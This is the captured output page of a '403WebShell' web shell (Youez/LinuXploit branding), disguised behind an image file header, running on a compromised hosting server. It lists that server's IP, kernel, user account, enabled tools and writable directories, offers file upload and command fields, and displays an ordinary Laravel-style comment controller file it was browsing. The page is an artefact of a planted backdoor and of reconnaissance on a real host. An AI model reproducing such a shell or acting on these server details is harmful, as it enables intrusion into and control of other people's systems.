����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.133.122.6
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/common/Comments/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/common/Comments/CommentController.php
<?php

namespace Common\Comments;

use Common\Core\BaseController;
use Common\Database\Datasource\MysqlDataSource;
use Illuminate\Http\Request;
use Illuminate\Support\Collection;
use Symfony\Component\HttpFoundation\Response;

class CommentController extends BaseController
{
    /**
     * @var Comment
     */
    private $comment;

    /**
     * @var Request
     */
    private $request;

    public function __construct(Comment $comment, Request $request)
    {
        $this->comment = $comment;
        $this->request = $request;
    }

    public function index(): Response
    {
        $userId = $this->request->get("userId");
        $this->authorize("index", [Comment::class, $userId]);

        $dataSource = new MysqlDataSource(
            $this->comment->with(["user", "commentable"]),
            $this->request->all(),
        );

        $pagination = $dataSource->paginate();

        $pagination->transform(function (Comment $comment) {
            if ($comment->commentable) {
                $normalized = $comment->commentable->toNormalizedArray();
                $comment->unsetRelation("commentable");
                $comment->setAttribute("commentable", $normalized);
            }
            return $comment;
        });

        return $this->success(["pagination" => $pagination]);
    }

    public function show(Comment $comment): Response
    {
        $this->authorize("show", $comment);

        return $this->success(["comment" => $comment]);
    }

    public function store(CrupdateCommentRequest $request): Response
    {
        $this->authorize("store", Comment::class);

        $comment = app(CrupdateComment::class)->execute($request->all());

        return $this->success(["comment" => $comment]);
    }

    public function update(
        Comment $comment,
        CrupdateCommentRequest $request
    ): Response {
        $this->authorize("store", $comment);

        $comment = app(CrupdateComment::class)->execute(
            $request->all(),
            $comment,
        );

        return $this->success(["comment" => $comment]);
    }

    public function destroy(string $ids): Response
    {
        $commentIds = explode(",", $ids);
        $this->authorize("destroy", [Comment::class, $commentIds]);

        $allDeleted = [];
        $allMarkedAsDeleted = [];

        $this->comment
            ->whereIn("id", $commentIds)
            ->chunkById(100, function (Collection $comments) use (
                &$allDeleted,
                &$allMarkedAsDeleted
            ) {
                $toMarkAsDeleted = [];
                $toDelete = [];
                foreach ($comments as $comment) {
                    if ($comment->allChildren()->count() > 1) {
                        $toMarkAsDeleted[] = $comment->id;
                    } else {
                        $toDelete[] = $comment->id;
                    }
                }
                if (!empty($toMarkAsDeleted)) {
                    $this->comment
                        ->whereIn("id", $toMarkAsDeleted)
                        ->update(["deleted" => true]);
                }
                if (!empty($toDelete)) {
                    $this->comment->whereIn("id", $toDelete)->delete();
                }
                $allDeleted = array_merge($allDeleted, $toDelete);
                $allMarkedAsDeleted = array_merge(
                    $allMarkedAsDeleted,
                    $toMarkAsDeleted,
                );
            });

        return $this->success([
            "allDeleted" => $allDeleted,
            "allMarkedAsDeleted" => $allMarkedAsDeleted,
        ]);
    }

    public function restore()
    {
        $this->authorize("update", Comment::class);

        $commentIds = $this->request->get("commentIds");

        $this->comment
            ->whereIn("id", $commentIds)
            ->update(["deleted" => false]);

        return $this->success();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit